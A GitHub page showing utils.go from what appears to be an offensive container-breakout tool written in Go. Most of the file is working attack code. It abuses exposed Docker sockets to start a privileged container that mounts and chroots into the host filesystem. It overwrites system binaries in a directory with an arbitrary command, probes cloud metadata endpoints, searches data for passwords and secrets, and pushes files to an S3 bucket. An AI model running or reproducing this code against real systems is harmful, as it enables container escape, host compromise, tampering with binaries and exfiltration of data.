-
Notifications
You must be signed in to change notification settings - Fork 59
/
utils.go
698 lines (624 loc) · 16.1 KB
/
utils.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
package main
import (
"archive/tar"
"bufio"
"bytes"
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net"
"net/http"
"os"
"os/exec"
"os/signal"
"path/filepath"
"strconv"
"strings"
"syscall"
"time"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/credentials"
"github.com/aws/aws-sdk-go/aws/session"
"github.com/aws/aws-sdk-go/service/s3/s3manager"
"github.com/creack/pty"
"github.com/tv42/httpunix"
"golang.org/x/crypto/ssh/terminal"
)
func fileExists(filename string) bool {
info, err := os.Stat(filename)
if os.IsNotExist(err) {
return false
}
return !info.IsDir()
}
func httpRequestBearer(url, token string) (int, error) {
if *verbosePtr {
fmt.Println("[*] Making HTTP Request:", url)
}
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var bearer = "Bearer " + token
req, err := http.NewRequest("GET", url, nil)
req.Header.Add("Authorization", bearer)
timeout := time.Duration(2 * time.Second)
client := http.Client{
Timeout: timeout,
Transport: transport,
}
resp, err := client.Do(req)
if err != nil {
return 0, err
}
defer resp.Body.Close()
return resp.StatusCode, nil
}
func generateRandomString(len int) string {
rand.Seed(time.Now().UTC().UnixNano())
bytes := make([]byte, len)
for i := 0; i < len; i++ {
bytes[i] = byte(65 + rand.Intn(25))
}
return string(bytes)
}
func scrapeGcpMetadata(host, port string) (string, error) {
connStr := fmt.Sprintf("%s:%s", host, port)
d := net.Dialer{Timeout: time.Second * 5}
fmt.Println("[+] Attempting to connect to: ", connStr)
conn, err := d.Dial("tcp", connStr)
if err != nil {
return "", err
}
fmt.Fprintf(conn, "GET / HTTP/1.0\r\n\r\n")
var buf bytes.Buffer
bytesWritten, err := io.Copy(&buf, conn)
if err != nil {
return "", err
}
fmt.Printf("[*] Bytes received from metadata: %d\n", bytesWritten)
return buf.String(), nil
}
func testUploadOfS3(fileToPush, s3Bucket, s3Region string) {
fmt.Printf("[+] Pushing %s to -> %s\n", fileToPush, s3Bucket)
s, err := session.NewSession(&aws.Config{
Region: aws.String(s3Region),
Credentials: credentials.AnonymousCredentials,
})
if err != nil {
fmt.Println("[ERROR] ", err)
}
err = s3Push(s, fileToPush, s3Bucket)
if err != nil {
fmt.Println("[ERROR] ", err)
}
}
func s3Push(s *session.Session, filename, s3Bucket string) error {
uploader := s3manager.NewUploader(s)
file, err := os.Open(filename)
if err != nil {
return fmt.Errorf("failed to open file %q, %v", filename, err)
}
result, err := uploader.Upload(&s3manager.UploadInput{
Bucket: aws.String(s3Bucket),
Key: aws.String(filename),
Body: file,
})
if err != nil {
return fmt.Errorf("failed to upload file, %v", err)
}
fmt.Println("[*] Data uploaded to:", *aws.String(result.Location))
return nil
}
func getGcpMetada() {
fmt.Println("[+] Attempting to get GCP Metadata")
}
func execDocker(dockerSockPath string) error {
cmd := "./docker/docker -H unix://" + dockerSockPath + " run docker id"
out, err := exec.Command("sh", "-c", cmd).Output()
if err != nil {
return err
}
if *verbosePtr {
fmt.Printf("[*] Command Output: %s\n", string(out[:]))
}
exitCode = 1
return nil
}
func autopwnDocker(dockerSock string, cicd bool) error {
fmt.Println("[+] Attempting to autopwn: ", dockerSock)
_, err := os.Stat("docker/docker")
fileUrl := "https://download.docker.com/linux/static/stable/x86_64/docker-18.09.2.tgz"
if err != nil {
if *verbosePtr {
fmt.Println("[*] Getting Docker client...")
}
if err := downloadFile("docker-18.09.2.tgz", fileUrl); err != nil {
return err
}
}
file, err := os.Open("docker-18.09.2.tgz")
if err != nil {
return err
}
err = untar(".", file)
if err != nil {
return err
}
if *verbosePtr {
fmt.Println("[*] Successfully got Docker client...")
}
fmt.Println("[+] Attempting to escape to host...")
if cicd {
if *verbosePtr {
fmt.Println("[+] Attempting in CICD Mode")
}
err := execDocker(dockerSock)
if err != nil {
fmt.Println("[*] Failed to escape container")
return err
}
fmt.Println("[!] Successfully escaped container")
} else {
fmt.Println("[+] Attempting in TTY Mode")
err := dropToTTY(dockerSock)
if err != nil {
return err
}
fmt.Println("[*] Successfully exited TTY")
}
return nil
}
func huntDomainSockets() {
fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr)
sockets, _ := getValidSockets(*pathPtr)
for _, element := range sockets {
fmt.Println("[!] Found Valid UNIX Domain Socket: ", element)
}
}
func checkForJuicyDeets(wordlist string, data string, terms []string) bool {
if wordlist != "nil" {
for _, term := range terms {
if strings.Contains(strings.ToLower(data), strings.ToLower(term)) {
return true
}
}
} else {
if strings.Contains(strings.ToLower(data), "password") || strings.Contains(strings.ToLower(data), "secret") {
return true
}
return false
}
return false
}
func execShellCmd2(command string, args ...string) error {
cmd := exec.Command(command, args...)
if *verbosePtr {
fmt.Println("[*] Running command and waiting to finish")
}
err := cmd.Run()
if err != nil {
return err
}
return nil
}
func execShellCmd(cmd string) (string, error) {
out, err := exec.Command("sh", "-c", cmd).Output()
if err != nil {
return string(out[:]), err
}
return string(out[:]), nil
}
func performHttpGetRequest(url string) (int, error) {
timeout := time.Duration(3 * time.Second)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Timeout: timeout,
Transport: tr,
}
resp, err := client.Get(url)
if err != nil {
return 0, err
}
defer resp.Body.Close()
return resp.StatusCode, nil
}
func getLinesFromFile(path string) ([]string, error) {
fmt.Println("[*] Loading entries from:", path)
var lines []string
inFile, err := os.Open(path)
if err != nil {
return nil, err
}
defer inFile.Close()
scanner := bufio.NewScanner(inFile)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, nil
}
func queryEndpoint(url string) bool {
fmt.Printf("[*] Attempting to query metadata endpoint: '%s'\n", url)
respCode, err := performHttpGetRequest(url)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]", err)
}
}
if respCode > 0 {
fmt.Printf("[!] Reponse from '%s' -> %d\n", url, respCode)
return true
}
return false
}
func processCmdLine() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
func copyFile(src, dst string) error {
if *verbosePtr {
fmt.Printf("[!] Copying %s -> %s\n", src, dst)
}
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
if err != nil {
return err
}
return out.Close()
}
func createFile(filename, data string) error {
if *verbosePtr {
fmt.Println("[*] Creating file: ", filename)
}
f, err := os.Create(filename)
if err != nil {
fmt.Println(err)
return err
}
l, err := f.WriteString(data)
if err != nil {
fmt.Println(err)
f.Close()
return err
}
if *verbosePtr {
fmt.Println(l, "[*] Bytes written successfully")
}
err = f.Close()
if err != nil {
fmt.Println(err)
return err
}
return nil
}
func hijackDirectory(dir, command string) {
fmt.Println("[+] Currently hijacking: ", dir)
files, err := ioutil.ReadDir(dir)
if err != nil {
log.Fatal(err)
}
if *verbosePtr {
fmt.Printf("[*] Number of binaries identified: %d\n", len(files))
}
hijackCount := 0
for _, file := range files {
if strings.ToLower(file.Name()) == "busybox" || strings.ToLower(file.Name()) == "sh" || strings.ToLower(file.Name()) == "dash" ||
strings.ToLower(file.Name()) == "ls" || strings.ToLower(file.Name()) == "echo" || strings.ToLower(file.Name()) == "chmod" ||
strings.ToLower(file.Name()) == "bash" || strings.ToLower(file.Name()) == "cp" || strings.ToLower(file.Name()) == "compgen" ||
strings.ToLower(file.Name()) == "rm" || strings.ToLower(file.Name()) == "mv" || strings.ToLower(file.Name()) == "which" ||
strings.ToLower(file.Name()) == "curl" || strings.ToLower(file.Name()) == "chown" || strings.ToLower(file.Name()) == "cat" {
fmt.Println("[*] Skipping-> ", file.Name())
} else {
if *verbosePtr {
fmt.Println("[*] Hijacking -> ", file.Name())
}
err := createFile(file.Name(), command)
if err != nil {
fmt.Println("[*] Error creating tmp file->", err)
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
}
continue
}
err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
if *verbosePtr {
fmt.Println("[*] Error deleting binary file->", err)
}
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
}
continue
}
err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
fmt.Println("[*] Error copying file->", err)
continue
}
err = execShellCmd2("chmod", "+x", fmt.Sprintf("%s/%s", dir, file.Name()))
if err != nil {
fmt.Println("[*] Error chmoding file->", err)
continue
}
err = execShellCmd2("rm", file.Name())
if err != nil {
fmt.Println("[*] Error cleaning up->", err)
continue
}
if err == nil {
fmt.Println("[*] Successfully Hijacked -> ", file.Name())
hijackCount++
}
}
}
fmt.Println("[+] Files Hijacked: ", hijackCount)
}
func findDomainSockets(path string) {
fmt.Println("[+] Looking for UNIX Domain Sockets from:", path)
sockets, _ := getValidSockets(path)
for _, element := range sockets {
fmt.Println("[!] Valid Socket: " + element)
exitCode = 1
}
}
func checkForDockerEnvSock() (string, bool) {
fmt.Println("[*] Looking for Docker ENV variables")
for _, envVar := range os.Environ() {
if strings.Contains(strings.ToUpper(envVar), "DOCKER_HOST") {
return envVar[strings.Index(envVar, "=")+1:], true
}
}
return "", false
}
func downloadFile(filepath string, url string) error {
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: transport}
resp, err := client.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func dropToTTY(dockerSockPath string) error {
// this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome
cmd := "./docker/docker -H unix://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh"
//additional check for userns-remap enabled or not, if yes, drop the --net, --pid and --ipc options as the host's namespace not accesible
file, err := os.Open("/proc/self/uid_map")
if err != nil {
log.Fatal(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
if strings.Fields(scanner.Text())[1] != "0" {
cmd = "./docker/docker -H unix://" + dockerSockPath + " run -ti -v /:/host alpine:latest /bin/sh"
}
}
if err := scanner.Err(); err != nil {
log.Fatal(err)
}
fmt.Println(cmd)
c := exec.Command("sh", "-c", cmd)
// Start the command with a pty.
ptmx, err := pty.Start(c)
if err != nil {
return err
}
// Make sure to close the pty at the end.
defer func() { _ = ptmx.Close() }() // Best effort.
// Handle pty size.
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for range ch {
if err := pty.InheritSize(os.Stdin, ptmx); err != nil {
log.Printf("error resizing pty: %s", err)
}
}
}()
ch <- syscall.SIGWINCH // Initial resize.
go func() {
ptmx.Write([]byte("chroot /host && clear\n"))
}()
// Set stdin in raw mode.
oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
if err != nil {
panic(err)
}
defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.
go func() {
ptmx.Write([]byte("echo 'You are now on the underlying host'\n"))
}()
// Copy stdin to the pty and the pty to stdout.
go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
_, _ = io.Copy(os.Stdout, ptmx)
return nil
}
func untar(dst string, r io.Reader) error {
// this code has been copy pasted from this great gist https://gist.github.com/sdomino/635a5ed4f32c93aad131#file-untargz-go
gzr, err := gzip.NewReader(r)
if err != nil {
return err
}
defer gzr.Close()
tr := tar.NewReader(gzr)
for {
header, err := tr.Next()
switch {
// if no more files are found return
case err == io.EOF:
return nil
// return any other error
case err != nil:
return err
// if the header is nil, just skip it (not sure how this happens)
case header == nil:
continue
}
// the target location where the dir/file should be created
target := filepath.Join(dst, header.Name)
// check the file type
switch header.Typeflag {
// if its a dir and it doesn't exist create it
case tar.TypeDir:
if _, err := os.Stat(target); err != nil {
if err := os.MkdirAll(target, 0755); err != nil {
return err
}
}
// if it's a file create it
case tar.TypeReg:
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
return err
}
// copy over contents
if _, err := io.Copy(f, tr); err != nil {
return err
}
// manually close here after each file operation; defering would cause each file close
// to wait until all operations have completed.
f.Close()
}
}
}
func getDockerEnabledSockets(socks []string) []string {
fmt.Println("[+] Hunting Docker Socks")
var dockerSocks []string
for _, element := range socks {
resp, err := checkSock(element)
if err == nil {
if resp.StatusCode >= 200 && resp.StatusCode <= 299 {
dockerSocks = append(dockerSocks, element)
if *verbosePtr {
fmt.Println("[+] Valid Docker Socket: " + element)
}
} else {
if *verbosePtr {
fmt.Println("[+] Invalid Docker Socket: " + element)
}
}
defer resp.Body.Close()
} else {
if *verbosePtr {
fmt.Println("[+] Invalid Docker Socket: " + element)
}
}
}
return dockerSocks
}
func getHTTPEnabledSockets(socks []string) []string {
var httpSocks []string
for _, element := range socks {
_, err := checkSock(element)
if err == nil {
httpSocks = append(httpSocks, element)
if *verbosePtr {
fmt.Println("[+] Valid HTTP Socket: " + element)
}
} else {
if *verbosePtr {
fmt.Println("[+] Invalid HTTP Socket: " + element)
}
}
}
return httpSocks
}
func walkpath(path string, info os.FileInfo, err error) error {
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]: ", err)
}
} else {
switch mode := info.Mode(); {
case mode&os.ModeSocket != 0:
validSocks = append(validSocks, path)
default:
if *verbosePtr {
fmt.Println("[*] Invalid Socket: " + path)
}
}
}
return nil
}
func getValidSockets(startPath string) ([]string, error) {
validSocks = nil
err := filepath.Walk(startPath, walkpath)
if err != nil {
if *verbosePtr {
fmt.Println("[ERROR]: ", err)
}
return nil, err
}
return validSocks, nil
}
func checkSock(path string) (*http.Response, error) {
if *verbosePtr {
fmt.Println("[-] Checking Sock for HTTP: " + path)
}
u := &httpunix.Transport{
DialTimeout: 100 * time.Millisecond,
RequestTimeout: 1 * time.Second,
ResponseHeaderTimeout: 1 * time.Second,
}
u.RegisterLocation("dockerd", path)
var client = http.Client{
Transport: u,
}
resp, err := client.Get("http+unix://dockerd/info")
if resp == nil {
return nil, err
}
return resp, nil
}
func debug(data []byte, err error) {
if err == nil {
fmt.Printf("%s\n\n", data)
} else {
log.Fatalf("%s\n\n", err)
}
}